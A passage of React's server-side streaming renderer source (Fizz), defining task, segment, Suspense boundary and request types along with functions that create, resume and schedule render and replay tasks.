setCurrentTaskInDEV} from './ReactFizzCurrentTask';\nimport {\n  callLazyInitInDEV,\n  callComponentInDEV,\n  callRenderInDEV,\n} from './ReactFizzCallUserSpace';\nimport {\n  getViewTransitionClassName,\n  getViewTransitionName,\n} from './ReactFizzViewTransitionComponent';\n\nimport {resetOwnerStackLimit} from 'shared/ReactOwnerStackReset';\nimport {\n  getIteratorFn,\n  ASYNC_ITERATOR,\n  REACT_ELEMENT_TYPE,\n  REACT_PORTAL_TYPE,\n  REACT_LAZY_TYPE,\n  REACT_SUSPENSE_TYPE,\n  REACT_LEGACY_HIDDEN_TYPE,\n  REACT_STRICT_MODE_TYPE,\n  REACT_PROFILER_TYPE,\n  REACT_SUSPENSE_LIST_TYPE,\n  REACT_FRAGMENT_TYPE,\n  REACT_FORWARD_REF_TYPE,\n  REACT_MEMO_TYPE,\n  REACT_CONTEXT_TYPE,\n  REACT_CONSUMER_TYPE,\n  REACT_SCOPE_TYPE,\n  REACT_VIEW_TRANSITION_TYPE,\n  REACT_ACTIVITY_TYPE,\n  REACT_OPTIMISTIC_KEY,\n} from 'shared/ReactSymbols';\nimport ReactSharedInternals from 'shared/ReactSharedInternals';\nimport {\n  disableLegacyContext,\n  disableLegacyContextForFunctionComponents,\n  enableScopeAPI,\n  enableAsyncIterableChildren,\n  enableViewTransition,\n  enableFizzBlockingRender,\n  enableAsyncDebugInfo,\n  enableCPUSuspense,\n} from 'shared/ReactFeatureFlags';\n\nimport assign from 'shared/assign';\nimport noop from 'shared/noop';\nimport getComponentNameFromType from 'shared/getComponentNameFromType';\nimport isArray from 'shared/isArray';\nimport {\n  SuspenseException,\n  getSuspendedThenable,\n  ensureSuspendableThenableStateDEV,\n  getSuspendedCallSiteStackDEV,\n  getSuspendedCallSiteDebugTaskDEV,\n  setCaptureSuspendedCallSiteDEV,\n} from './ReactFizzThenable';\n\n// Linked list representing the identity of a component given the component/tag name and key.\n// The name might be minified but we assume that it's going to be the same generated name. Typically\n// because it's just the same compiled output in practice.\nexport type KeyNode = [\n  Root | KeyNode /* parent */,\n  string | null /* name */,\n  string | number /* key */,\n];\n\ntype ResumeSlots =\n  | null // nothing to resume\n  | number // resume with segment ID at the root position\n  | {[index: number]: number}; // resume with segmentID at the index\n\ntype ReplaySuspenseBoundary = [\n  string | null /* name */,\n  string | number /* key */,\n  Array<ReplayNode> /* content keyed children */,\n  ResumeSlots /* content resumable slots */,\n  null | ReplayNode /* fallback content */,\n  number /* rootSegmentID */,\n];\n\ntype ReplayNode =\n  | [\n      string | null /* name */,\n      string | number /* key */,\n      Array<ReplayNode> /* keyed children */,\n      ResumeSlots /* resumable slots */,\n    ]\n  | ReplaySuspenseBoundary;\n\ntype PostponedHoles = {\n  workingMap: Map<KeyNode, ReplayNode>,\n  rootNodes: Array<ReplayNode>,\n  rootSlots: ResumeSlots,\n};\n\ntype LegacyContext = {\n  [key: string]: any,\n};\n\ntype SuspenseListRow = {\n  pendingTasks: number, // The number of tasks, previous rows and inner suspense boundaries blocking this row.\n  boundaries: null | Array<SuspenseBoundary>, // The boundaries in this row waiting to be unblocked by the previous row. (null means this row is not blocked)\n  hoistables: HoistableState, // Any dependencies that this row depends on. Future rows need to also depend on it.\n  inheritedHoistables: null | HoistableState, // Any dependencies that previous row depend on, that new boundaries of this row needs.\n  together: boolean, // All the boundaries within this row must be revealed together.\n  next: null | SuspenseListRow, // The next row blocked by this one.\n};\n\nconst CLIENT_RENDERED = 4; // if it errors or infinitely suspends\n\ntype SuspenseBoundary = {\n  status: 0 | 1 | 4 | 5,\n  rootSegmentID: number,\n  parentFlushed: boolean,\n  pendingTasks: number, // when it reaches zero we can show this boundary's content\n  row: null | SuspenseListRow, // the row that this boundary blocks from completing.\n  completedSegments: Array<Segment>, // completed but not yet flushed segments.\n  byteSize: number, // used to determine whether to inline children boundaries.\n  defer: boolean, // never inline deferred boundaries\n  fallbackAbortableTasks: Set<Task>, // used to cancel task on the fallback if the boundary completes or gets canceled.\n  contentState: HoistableState,\n  fallbackState: HoistableState,\n  preamble: null | Preamble,\n  tracked: null | {\n    contentKeyPath: null | KeyNode, // used to track the path for replay nodes\n    fallbackNode: null | ReplayNode, // used to track the fallback for replay nodes\n  },\n  errorDigest: ?string, // the error hash if it errors\n  // DEV-only fields\n  errorMessage?: null | string, // the error string if it errors\n  errorStack?: null | string, // the error stack if it errors\n  errorComponentStack?: null | string, // the error component stack if it errors\n};\n\ntype RenderTask = {\n  replay: null,\n  node: ReactNodeList,\n  childIndex: number,\n  ping: () => void,\n  blockedBoundary: Root | SuspenseBoundary,\n  blockedSegment: Segment, // the segment we'll write to\n  blockedPreamble: null | PreambleState,\n  hoistableState: null | HoistableState, // Boundary state we'll mutate while rendering. This may not equal the state of the blockedBoundary\n  abortSet: Set<Task>, // the abortable set that this task belongs to\n  keyPath: Root | KeyNode, // the path of all parent keys currently rendering\n  formatContext: FormatContext, // the format's specific context (e.g. HTML/SVG/MathML)\n  context: ContextSnapshot, // the current new context that this task is executing in\n  treeContext: TreeContext, // the current tree context that this task is executing in\n  row: null | SuspenseListRow, // the current SuspenseList row that this is rendering inside\n  componentStack: null | ComponentStackNode, // stack frame description of the currently rendering component\n  thenableState: null | ThenableState,\n  legacyContext: LegacyContext, // the current legacy context that this task is executing in\n  debugTask: null | ConsoleTask, // DEV only\n  // DON'T ANY MORE FIELDS. We at 16 in prod already which otherwise requires converting to a constructor.\n  // Consider splitting into multiple objects or consolidating some fields.\n};\n\ntype ReplaySet = {\n  nodes: Array<ReplayNode>, // the possible paths to follow down the replaying\n  slots: ResumeSlots, // slots to resume\n  pendingTasks: number, // tracks the number of tasks currently tracking this set of nodes\n  // if pending tasks reach zero but there are still nodes left, it means we couldn't find\n  // them all in the tree, so we need to abort and client render the boundary.\n};\n\ntype ReplayTask = {\n  replay: ReplaySet,\n  node: ReactNodeList,\n  childIndex: number,\n  ping: () => void,\n  blockedBoundary: Root | SuspenseBoundary,\n  blockedSegment: null, // we don't write to anything when we replay\n  blockedPreamble: null,\n  hoistableState: null | HoistableState, // Boundary state we'll mutate while rendering. This may not equal the state of the blockedBoundary\n  abortSet: Set<Task>, // the abortable set that this task belongs to\n  keyPath: Root | KeyNode, // the path of all parent keys currently rendering\n  formatContext: FormatContext, // the format's specific context (e.g. HTML/SVG/MathML)\n  context: ContextSnapshot, // the current new context that this task is executing in\n  treeContext: TreeContext, // the current tree context that this task is executing in\n  row: null | SuspenseListRow, // the current SuspenseList row that this is rendering inside\n  componentStack: null | ComponentStackNode, // stack frame description of the currently rendering component\n  thenableState: null | ThenableState,\n  legacyContext: LegacyContext, // the current legacy context that this task is executing in\n  debugTask: null | ConsoleTask, // DEV only\n};\n\nexport type Task = RenderTask | ReplayTask;\n\nconst PENDING = 0;\nconst COMPLETED = 1;\nconst FLUSHED = 2;\nconst ABORTED = 3;\nconst ERRORED = 4;\nconst POSTPONED = 5;\nconst RENDERING = 6;\n\ntype Root = null;\n\ntype Segment = {\n  status: 0 | 1 | 2 | 3 | 4 | 5 | 6,\n  parentFlushed: boolean, // typically a segment will be flushed by its parent, except if its parent was already flushed\n  id: number, // starts as 0 and is lazily assigned if the parent flushes early\n  +index: number, // the index within the parent's chunks or 0 at the root\n  +chunks: Array<Chunk | PrecomputedChunk>,\n  +children: Array<Segment>,\n  +preambleChildren: Array<Segment>,\n  // The context that this segment was created in.\n  parentFormatContext: FormatContext,\n  // If this segment represents a fallback, this is the content that will replace that fallback.\n  boundary: null | SuspenseBoundary,\n  // used to discern when text separator boundaries are needed\n  lastPushedText: boolean,\n  textEmbedded: boolean,\n};\n\nconst OPENING = 10;\nconst OPEN = 11;\nconst ABORTING = 12;\nconst CLOSING = 13;\nconst CLOSED = 14;\nconst STALLED_DEV = 15;\n\nexport opaque type Request = {\n  destination: null | Destination,\n  flushScheduled: boolean,\n  +resumableState: ResumableState,\n  +renderState: RenderState,\n  +rootFormatContext: FormatContext,\n  +progressiveChunkSize: number,\n  status: 10 | 11 | 12 | 13 | 14 | 15,\n  fatalError: mixed,\n  nextSegmentId: number,\n  allPendingTasks: number, // when it reaches zero, we can close the connection.\n  pendingRootTasks: number, // when this reaches zero, we've finished at least the root boundary.\n  completedRootSegment: null | Segment, // Completed but not yet flushed root segments.\n  completedPreambleSegments: null | Array<Array<Segment>>, // contains the ready-to-flush segments that make up the preamble\n  byteSize: number, // counts the number of bytes accumulated in the shell\n  abortableTasks: Set<Task>,\n  pingedTasks: Array<Task>, // High priority tasks that should be worked on first.\n  // Queues to flush in order of priority\n  clientRenderedBoundaries: Array<SuspenseBoundary>, // Errored or client rendered but not yet flushed.\n  completedBoundaries: Array<SuspenseBoundary>, // Completed but not yet fully flushed boundaries to show.\n  partialBoundaries: Array<SuspenseBoundary>, // Partially completed boundaries that can flush its segments early.\n  trackedPostpones: null | PostponedHoles, // Gets set to non-null while we want to track postponed holes. I.e. during a prerender.\n  // onError is called when an error happens anywhere in the tree. It might recover.\n  // The return string is used in production  primarily to avoid leaking internals, secondarily to save bytes.\n  // Returning null/undefined will cause a default error message in production\n  onError: (error: mixed, errorInfo: ThrownInfo) => ?string,\n  // onAllReady is called when all pending task is done but it may not have flushed yet.\n  // This is a good time to start writing if you want only HTML and no intermediate steps.\n  onAllReady: () => void,\n  // onShellReady is called when there is at least a root fallback ready to show.\n  // Typically you don't need this callback because it's best practice to always have a\n  // root fallback ready so there's no need to wait.\n  onShellReady: () => void,\n  // onShellError is called when the shell didn't complete. That means you probably want to\n  // emit a different response to the stream instead.\n  onShellError: (error: mixed) => void,\n  onFatalError: (error: mixed) => void,\n  // Form state that was the result of an MPA submission, if it was provided.\n  formState: null | ReactFormState<any, any>,\n  // DEV-only, warning dedupe\n  didWarnForKey?: null | WeakSet<ComponentStackNode>,\n};\n\ntype Preamble = {\n  content: PreambleState,\n  fallback: PreambleState,\n};\n\nfunction createPreamble(): Preamble {\n  return {\n    content: createPreambleState(),\n    fallback: createPreambleState(),\n  };\n}\n\n// This is a default heuristic for how to split up the HTML content into progressive\n// loading. Our goal is to be able to display additional new content about every 500ms.\n// Faster than that is unnecessary and should be throttled on the client. It also\n// adds unnecessary overhead to do more splits. We don't know if it's a higher or lower\n// end device but higher end suffer less from the overhead than lower end does from\n// not getting small enough pieces. We error on the side of low end.\n// We base this on low end 3G speeds which is about 500kbits per second. We assume\n// that there can be a reasonable drop off from max bandwidth which leaves you with\n// as little as 80%. We can receive half of that each 500ms - at best. In practice,\n// a little bandwidth is lost to processing and contention - e.g. CSS and images that\n// are downloaded along with the main content. So we estimate about half of that to be\n// the lower end throughput. In other words, we expect that you can at least show\n// about 12.5kb of content per 500ms. Not counting starting latency for the first\n// paint.\n// 500 * 1024 / 8 * .8 * 0.5 / 2\nconst DEFAULT_PROGRESSIVE_CHUNK_SIZE = 12800;\n\nfunction getBlockingRenderMaxSize(request: Request): number {\n  // We want to make sure that we can block the reveal of a well designed complete\n  // shell but if you have constructed a too large shell (e.g. by not adding any\n  // Suspense boundaries) then that might take too long to render. We shouldn't\n  // punish users (or overzealous metrics tracking) in that scenario.\n  // There's a trade off here. If this limit is too low then you can't fit a\n  // reasonably well built UI within it without getting errors. If it's too high\n  // then things that accidentally fall below it might take too long to load.\n  // Web Vitals target 1.8 seconds for first paint and our goal to have the limit\n  // be fast enough to hit that. For this argument we assume that most external\n  // resources are already cached because it's a return visit, or inline styles.\n  // If it's not, then it's highly unlikely that any render blocking instructions\n  // we add has any impact what so ever on the paint.\n  // Assuming a first byte of about 600ms which is kind of bad but common with a\n  // decent static host. If it's longer e.g. due to dynamic rendering, then you\n  // are going to bound by dynamic production of the content and you're better off\n  // with Suspense boundaries anyway. This number doesn't matter much. Then you\n  // have about 1.2 seconds left for bandwidth. On 3G that gives you about 112.5kb\n  // worth of data. That's worth about 10x in terms of uncompressed bytes. Then we\n  // half that just to account for longer latency, slower bandwidth and CPU processing.\n  // Now we're down to about 500kb. In fact, looking at metrics we've collected with\n  // rel=\"expect\" examples and other documents, the impact on documents smaller than\n  // that is within the noise. That's because there's enough happening within that\n  // start up to not make HTML streaming not significantly better.\n  // Content above the fold tends to be about 100-200kb tops. Therefore 500kb should\n  // be enough head room for a good loading state. After that you should use\n  // Suspense or SuspenseList to improve it.\n  // Since this is highly related to the reason you would adjust the\n  // progressiveChunkSize option, and always has to be higher, we define this limit\n  // in terms of it. So if you want to increase the limit because you have high\n  // bandwidth users, then you can adjust it up. If you are concerned about even\n  // slower bandwidth then you can adjust it down.\n  return request.progressiveChunkSize * 40; // 512kb by default.\n}\n\nfunction isEligibleForOutlining(\n  request: Request,\n  boundary: SuspenseBoundary,\n): boolean {\n  // For very small boundaries, don't bother producing a fallback for outlining.\n  // The larger this limit is, the more we can save on preparing fallbacks in case we end up\n  // outlining.\n  return (\n    (boundary.byteSize > 500 ||\n      hasSuspenseyContent(boundary.contentState, /* flushingInShell */ false) ||\n      boundary.defer) &&\n    // For boundaries that can possibly contribute to the preamble we don't want to outline\n    // them regardless of their size since the fallbacks should only be emitted if we've\n    // errored the boundary.\n    boundary.preamble === null\n  );\n}\n\nfunction defaultErrorHandler(error: mixed) {\n  if (\n    typeof error === 'object' &&\n    error !== null &&\n    typeof error.environmentName === 'string'\n  ) {\n    // This was a Server error. We print the environment name in a badge just like we do with\n    // replays of console logs to indicate that the source of this throw as actually the Server.\n    bindToConsole('error', [error], error.environmentName)();\n  } else {\n    console['error'](error); // Don't transform to our wrapper\n  }\n  return null;\n}\n\nfunction RequestInstance(\n  this: $FlowFixMe,\n  resumableState: ResumableState,\n  renderState: RenderState,\n  rootFormatContext: FormatContext,\n  progressiveChunkSize: void | number,\n  onError: void | ((error: mixed, errorInfo: ErrorInfo) => ?string),\n  onAllReady: void | (() => void),\n  onShellReady: void | (() => void),\n  onShellError: void | ((error: mixed) => void),\n  onFatalError: void | ((error: mixed) => void),\n  formState: void | null | ReactFormState<any, any>,\n) {\n  const pingedTasks: Array<Task> = [];\n  const abortSet: Set<Task> = new Set();\n  this.destination = null;\n  this.flushScheduled = false;\n  this.resumableState = resumableState;\n  this.renderState = renderState;\n  this.rootFormatContext = rootFormatContext;\n  this.progressiveChunkSize =\n    progressiveChunkSize === undefined\n      ? DEFAULT_PROGRESSIVE_CHUNK_SIZE\n      : progressiveChunkSize;\n  this.status = OPENING;\n  this.fatalError = null;\n  this.nextSegmentId = 0;\n  this.allPendingTasks = 0;\n  this.pendingRootTasks = 0;\n  this.completedRootSegment = null;\n  this.completedPreambleSegments = null;\n  this.byteSize = 0;\n  this.abortableTasks = abortSet;\n  this.pingedTasks = pingedTasks;\n  this.clientRenderedBoundaries = ([]: Array<SuspenseBoundary>);\n  this.completedBoundaries = ([]: Array<SuspenseBoundary>);\n  this.partialBoundaries = ([]: Array<SuspenseBoundary>);\n  this.trackedPostpones = null;\n  this.onError = onError === undefined ? defaultErrorHandler : onError;\n  this.onAllReady = onAllReady === undefined ? noop : onAllReady;\n  this.onShellReady = onShellReady === undefined ? noop : onShellReady;\n  this.onShellError = onShellError === undefined ? noop : onShellError;\n  this.onFatalError = onFatalError === undefined ? noop : onFatalError;\n  this.formState = formState === undefined ? null : formState;\n  if (__DEV__) {\n    this.didWarnForKey = null;\n  }\n}\n\nexport function createRequest(\n  children: ReactNodeList,\n  resumableState: ResumableState,\n  renderState: RenderState,\n  rootFormatContext: FormatContext,\n  progressiveChunkSize: void | number,\n  onError: void | ((error: mixed, errorInfo: ErrorInfo) => ?string),\n  onAllReady: void | (() => void),\n  onShellReady: void | (() => void),\n  onShellError: void | ((error: mixed) => void),\n  onFatalError: void | ((error: mixed) => void),\n  formState: void | null | ReactFormState<any, any>,\n): Request {\n  if (__DEV__) {\n    resetOwnerStackLimit();\n  }\n\n  // $FlowFixMe[invalid-constructor]: the shapes are exact here but Flow doesn't like constructors\n  const request: Request = new RequestInstance(\n    resumableState,\n    renderState,\n    rootFormatContext,\n    progressiveChunkSize,\n    onError,\n    onAllReady,\n    onShellReady,\n    onShellError,\n    onFatalError,\n    formState,\n  );\n\n  // This segment represents the root fallback.\n  const rootSegment = createPendingSegment(\n    request,\n    0,\n    null,\n    rootFormatContext,\n    // Root segments are never embedded in Text on either edge\n    false,\n    false,\n  );\n  // There is no parent so conceptually, we're unblocked to flush this segment.\n  rootSegment.parentFlushed = true;\n  const rootTask = createRenderTask(\n    request,\n    null,\n    children,\n    -1,\n    null,\n    rootSegment,\n    null,\n    null,\n    request.abortableTasks,\n    null,\n    rootFormatContext,\n    rootContextSnapshot,\n    emptyTreeContext,\n    null,\n    null,\n    emptyContextObject,\n    null,\n  );\n  pushComponentStack(rootTask);\n  request.pingedTasks.push(rootTask);\n  return request;\n}\n\nexport function createPrerenderRequest(\n  children: ReactNodeList,\n  resumableState: ResumableState,\n  renderState: RenderState,\n  rootFormatContext: FormatContext,\n  progressiveChunkSize: void | number,\n  onError: void | ((error: mixed, errorInfo: ErrorInfo) => ?string),\n  onAllReady: void | (() => void),\n  onShellReady: void | (() => void),\n  onShellError: void | ((error: mixed) => void),\n  onFatalError: void | ((error: mixed) => void),\n): Request {\n  const request = createRequest(\n    children,\n    resumableState,\n    renderState,\n    rootFormatContext,\n    progressiveChunkSize,\n    onError,\n    onAllReady,\n    onShellReady,\n    onShellError,\n    onFatalError,\n    undefined,\n  );\n  // Start tracking postponed holes during this render.\n  request.trackedPostpones = {\n    workingMap: new Map(),\n    rootNodes: [],\n    rootSlots: null,\n  };\n  return request;\n}\n\nexport function resumeRequest(\n  children: ReactNodeList,\n  postponedState: PostponedState,\n  renderState: RenderState,\n  onError: void | ((error: mixed, errorInfo: ErrorInfo) => ?string),\n  onAllReady: void | (() => void),\n  onShellReady: void | (() => void),\n  onShellError: void | ((error: mixed) => void),\n  onFatalError: void | ((error: mixed) => void),\n): Request {\n  if (__DEV__) {\n    resetOwnerStackLimit();\n  }\n\n  // $FlowFixMe[invalid-constructor]: the shapes are exact here but Flow doesn't like constructors\n  const request: Request = new RequestInstance(\n    postponedState.resumableState,\n    renderState,\n    postponedState.rootFormatContext,\n    postponedState.progressiveChunkSize,\n    onError,\n    onAllReady,\n    onShellReady,\n    onShellError,\n    onFatalError,\n    null,\n  );\n  request.nextSegmentId = postponedState.nextSegmentId;\n\n  if (typeof postponedState.replaySlots === 'number') {\n    // We have a resume slot at the very root. This is effectively just a full rerender.\n    const rootSegment = createPendingSegment(\n      request,\n      0,\n      null,\n      postponedState.rootFormatContext,\n      // Root segments are never embedded in Text on either edge\n      false,\n      false,\n    );\n    // There is no parent so conceptually, we're unblocked to flush this segment.\n    rootSegment.parentFlushed = true;\n    const rootTask = createRenderTask(\n      request,\n      null,\n      children,\n      -1,\n      null,\n      rootSegment,\n      null,\n      null,\n      request.abortableTasks,\n      null,\n      postponedState.rootFormatContext,\n      rootContextSnapshot,\n      emptyTreeContext,\n      null,\n      null,\n      emptyContextObject,\n      null,\n    );\n    pushComponentStack(rootTask);\n    request.pingedTasks.push(rootTask);\n    return request;\n  }\n\n  const replay: ReplaySet = {\n    nodes: postponedState.replayNodes,\n    slots: postponedState.replaySlots,\n    pendingTasks: 0,\n  };\n  const rootTask = createReplayTask(\n    request,\n    null,\n    replay,\n    children,\n    -1,\n    null,\n    null,\n    request.abortableTasks,\n    null,\n    postponedState.rootFormatContext,\n    rootContextSnapshot,\n    emptyTreeContext,\n    null,\n    null,\n    emptyContextObject,\n    null,\n  );\n  pushComponentStack(rootTask);\n  request.pingedTasks.push(rootTask);\n  return request;\n}\n\nexport function resumeAndPrerenderRequest(\n  children: ReactNodeList,\n  postponedState: PostponedState,\n  renderState: RenderState,\n  onError: void | ((error: mixed, errorInfo: ErrorInfo) => ?string),\n  onAllReady: void | (() => void),\n  onShellReady: void | (() => void),\n  onShellError: void | ((error: mixed) => void),\n  onFatalError: void | ((error: mixed) => void),\n): Request {\n  const request = resumeRequest(\n    children,\n    postponedState,\n    renderState,\n    onError,\n    onAllReady,\n    onShellReady,\n    onShellError,\n    onFatalError,\n  );\n  // Start tracking postponed holes during this render.\n  request.trackedPostpones = {\n    workingMap: new Map(),\n    rootNodes: [],\n    rootSlots: null,\n  };\n  return request;\n}\n\nlet currentRequest: null | Request = null;\n\nexport function resolveRequest(): null | Request {\n  if (currentRequest) return currentRequest;\n  if (supportsRequestStorage) {\n    const store = requestStorage.getStore();\n    if (store) return store;\n  }\n  return null;\n}\n\nfunction pingTask(request: Request, task: Task): void {\n  const pingedTasks = request.pingedTasks;\n  pingedTasks.push(task);\n  if (request.pingedTasks.length === 1) {\n    request.flushScheduled = request.destination !== null;\n    if (request.trackedPostpones !== null || request.status === OPENING) {\n      scheduleMicrotask(() => performWork(request));\n    } else {\n      scheduleWork(() => performWork(request));\n    }\n  }\n}\n\nfunction createSuspenseBoundary(\n  request: Request,\n  row: null | SuspenseListRow,\n  fallbackAbortableTasks: Set<Task>,\n  preamble: null | Preamble,\n  defer: boolean,\n): SuspenseBoundary {\n  const boundary: SuspenseBoundary = {\n    status: PENDING,\n    rootSegmentID: -1,\n    parentFlushed: false,\n    pendingTasks: 0,\n    row: row,\n    completedSegments: [],\n    byteSize: 0,\n    defer: defer,\n    fallbackAbortableTasks,\n    errorDigest: null,\n    contentState: createHoistableState(),\n    fallbackState: createHoistableState(),\n    preamble,\n    tracked: null,\n  };\n  if (__DEV__) {\n    // DEV-only fields for hidden class\n    boundary.errorMessage = null;\n    boundary.errorStack = null;\n    boundary.errorComponentStack = null;\n  }\n  if (row !== null) {\n    // This boundary will block this row from completing.\n    row.pendingTasks++;\n    const blockedBoundaries = row.boundaries;\n    if (blockedBoundaries !== null) {\n      // Previous rows will block this boundary itself from completing.\n      request.allPendingTasks++;\n      boundary.pendingTasks++;\n      blockedBoundaries.push(boundary);\n    }\n    const inheritedHoistables = row.inheritedHoistables;\n    if (inheritedHoistables !== null) {\n      hoistHoistables(boundary.contentState, inheritedHoistables);\n    }\n  }\n  return boundary;\n}\n\nfunction createRenderTask(\n  request: Request,\n  thenableState: ThenableState | null,\n  node: ReactNodeList,\n  childIndex: number,\n  blockedBoundary: Root | SuspenseBoundary,\n  blockedSegment: Segment,\n  blockedPreamble: null | PreambleState,\n  hoistableState: null | HoistableState,\n  abortSet: Set<Task>,\n  keyPath: Root | KeyNode,\n  formatContext: FormatContext,\n  context: ContextSnapshot,\n  treeContext: TreeContext,\n  row: null | SuspenseListRow,\n  componentStack: null | ComponentStackNode,\n  legacyContext: LegacyContext,\n  debugTask: null | ConsoleTask,\n): RenderTask {\n  request.allPendingTasks++;\n  if (blockedBoundary === null) {\n    request.pendingRootTasks++;\n  } else {\n    blockedBoundary.pendingTasks++;\n  }\n  if (row !== null) {\n    row.pendingTasks++;\n  }\n  const task: RenderTask = ({\n    replay: null,\n    node,\n    childIndex,\n    ping: () => pingTask(request, task),\n    blockedBoundary,\n    blockedSegment,\n    blockedPreamble,\n    hoistableState,\n    abortSet,\n    keyPath,\n    formatContext,\n    context,\n    treeContext,\n    row,\n    componentStack,\n    thenableState,\n  }: any);\n  if (!disableLegacyContext) {\n    task.legacyContext = legacyContext;\n  }\n  if (__DEV__) {\n    task.debugTask = debugTask;\n  }\n  abortSet.add(task);\n  return task;\n}\n\nfunction createReplayTask(\n  request: Request,\n  thenableState: ThenableState | null,\n  replay: ReplaySet,\n  node: ReactNodeList,\n  childIndex: number,\n  blockedBoundary: Root | SuspenseBoundary,\n  hoistableState: null | HoistableState,\n  abortSet: Set<Task>,\n  keyPath: Root | KeyNode,\n  formatContext: FormatContext,\n  context: ContextSnapshot,\n  treeContext: TreeContext,\n  row: null | SuspenseListRow,\n  componentStack: null | ComponentStackNode,\n  legacyContext: LegacyContext,\n  debugTask: null | ConsoleTask,\n): ReplayTask {\n  request.allPendingTasks++;\n  if (blockedBoundary === null) {\n    request.pendingRootTasks++;\n  } else {\n    blockedBoundary.pendingTasks++;\n  }\n  if (row !== null) {\n    row.pendingTasks++;\n  }\n  replay.pendingTasks++;\n  const task: ReplayTask = ({\n    replay,\n    node,\n    childIndex,\n    ping: () => pingTask(request, task),\n    blockedBoundary,\n    blockedSegment: null,\n    blockedPreamble: null,\n    hoistableState,\n    abortSet,\n    keyPath,\n    formatContext,\n    context,\n    treeContext,\n    row,\n    componentStack,\n    thenableState,\n  }: any);\n  if (!disableLegacyContext) {\n    task.legacyContext = legacyContext;\n  }\n  if (__DEV__) {\n    task.debugTask = debugTask;\n  }\n  abortSet.add(task);\n  return task;\n}\n\nfunction createPendingSegment(\n  request: Request,\n  index: number,\n  boundary: null | SuspenseBoundary,\n  parentFormatContext: FormatContext,\n  lastPushedText: boolean,\n  textEmbedded: boolean,\n): Segment {\n  return {\n    status: PENDING,\n    parentFlushed: false,\n    id: -1, // lazily assigned later\n    index,\n    chunks: [],\n    children: [],\n    preambleChildren: [],\n    parentFormatContext,\n    boundary,\n    lastPushedText,\n    textEmbedded,\n  };\n}\n\nfunction getCurrentStackInDEV(): string {\n  if (__DEV__) {\n    if (currentTaskInDEV === null || currentTaskInDEV.componentStack === null) {\n      return '';\n    }\n    return getOwnerStackByComponentStackNodeInDev(\n      currentTaskInDEV.componentStack,\n    );\n  }\n  return '';\n}\n\nfunction getStackFromNode(stackNode: ComponentStackNode): string {\n  return getStackByComponentStackNode(stackNode);\n}\n\nfunction pushHaltedAwaitOnComponentStack(\n  task: Task,\n  debugInfo: void | null | ReactDebugInfo,\n): void {\n  if (!__DEV__) {\n    // eslint-disable-next-line react-internal/prod-error-codes\n    throw new Error(\n      'pushHaltedAwaitOnComponentStack should never be called in production. This is a bug in React.',\n    );\n  }\n  if (debugInfo != null) {\n    for (let i = debugInfo.length - 1; i >= 0; i--) {\n      const info = debugInfo[i];\n      if (info.awaited != null) {\n        const asyncInfo: ReactAsyncInfo = (info: any);\n        const bestStack =\n          asyncInfo.debugStack == null ? asyncInfo.awaited : asyncInfo;\n        if (bestStack.debugStack !== undefined) {\n          task.componentStack = {\n            parent: task.componentStack,\n            type: asyncInfo,\n            owner: bestStack.owner,\n            stack: bestStack.debugStack,\n          };\n          task.debugTask = (bestStack.debugTask: any);\n          break;\n        }\n      }\n    }\n  }\n}\n\n// performWork + retryTask without mutation\nfunction rerenderStalledTask(request: Request, task: Task): void {\n  const prevStatus = request.status;\n  request.status = STALLED_DEV;\n\n  const prevContext = getActiveContext();\n  const prevDispatcher = ReactSharedInternals.H;\n  ReactSharedInternals.H = HooksDispatcher;\n  const prevAsyncDispatcher = ReactSharedInternals.A;\n  ReactSharedInternals.A = DefaultAsyncDispatcher;\n\n  const prevRequest = currentRequest;\n  currentRequest = request;\n\n  const prevGetCurrentStackImpl = ReactSharedInternals.getCurrentStack;\n  ReactSharedInternals.getCurrentStack = getCurrentStackInDEV;\n\n  const prevResumableState = currentResumableState;\n  setCurrentResumableState(request.resumableState);\n  switchContext(task.context);\n  const prevTaskInDEV = currentTaskInDEV;\n  setCurrentTaskInDEV(task);\n  try {\n    retryNode(request, task);\n  } catch (x) {\n    // Suspended again.\n    resetHooksState();\n  } finally {\n    setCurrentTaskInDEV(prevTaskInDEV);\n    setCurrentResumableState(prevResumableState);\n\n    ReactSharedInternals.H = prevDispatcher;\n    ReactSharedInternals.A = prevAsyncDispatcher;\n\n    ReactSharedInternals.getCurrentStack = prevGetCurrentStackImpl;\n    if (prevDispatcher === HooksDispatcher) {\n      // This means that we were in a reentrant work loop. This could happen\n      // in a renderer that supports synchronous work like renderToString,\n      // when it's called from within another renderer.\n      // Normally we don't bother switching the contexts to their root/default\n      // values when leaving because we'll likely need the same or similar\n      // context again. However, when we're inside a synchronous loop like this\n      // we'll to restore the context to what it was before returning.\n      switchContext(prevContext);\n    }\n    currentRequest = prevRequest;\n    request.status = prevStatus;\n  }\n}\n\nfunction pushSuspendedCallSiteOnComponentStack(\n  request: Request,\n  task: Task,\n): void {\n  setCaptureSuspendedCallSiteDEV(true);\n  const restoreThenableState = ensureSuspendableThenableStateDEV(\n    // refined at the callsite\n    ((task.thenableState: any): ThenableState),\n  );\n  try {\n    rerenderStalledTask(request, task);\n  } finally {\n    restoreThenableState();\n    setCaptureSuspendedCallSiteDEV(false);\n  }\n\n  const suspendCallSiteStack = getSuspendedCallSiteStackDEV();\n  const suspendCallSiteDebugTask = getSuspendedCallSiteDebugTaskDEV();\n\n  if (suspendCallSiteStack !== null) {\n    const ownerStack = task.componentStack;\n    task.componentStack = {\n      // The owner of the suspended call site would be the owner of this task.\n      // We need the task itself otherwise we'd miss a frame.\n      owner: ownerStack,\n      parent: suspendCallSiteStack.parent,\n      stack: suspendCallSiteStack.stack,\n      type: suspendCallSiteStack.type,\n    };\n  }\n  task.debugTask = suspendCallSiteDebugTask;\n}\n\nfunction pushServerComponentStack(\n  task: Task,\n  debugInfo: void | null | ReactDebugInfo,\n): void {\n  if (!__DEV__) {\n    // eslint-disable-next-line react-internal/prod-error-codes\n    throw new Error(\n      'pushServerComponentStack should never be called in production. This is a bug in React.',\n    );\n  }\n  // Build a Server Component parent stack from the debugInfo.\n  if (debugInfo != null) {\n    const stack: ReactDebugInfo = debugInfo;\n    for (let i = 0; i < stack.length; i++) {\n      const componentInfo: ReactComponentInfo = (stack[i]: any);\n      if (typeof componentInfo.name !== 'string') {\n        continue;\n      }\n      if (componentInfo.debugStack === undefined) {\n        continue;\n      }\n      task.componentStack = {\n        parent: task.componentStack,\n        type: componentInfo,\n        owner: componentInfo.owner,\n        stack: componentInfo.debugStack,\n      };\n      task.debugTask = (componentInfo.debugTask: any);\n    }\n  }\n}\n\nfunction pushComponentStack(task: Task): void {\n  const node = task.node;\n  // Create the Component Stack frame for the element we're about to try.\n  // It's unfortunate that we need to do this refinement twice. Once for\n  // the stack frame and then once again while actually\n  if (typeof node === 'object' && node !== 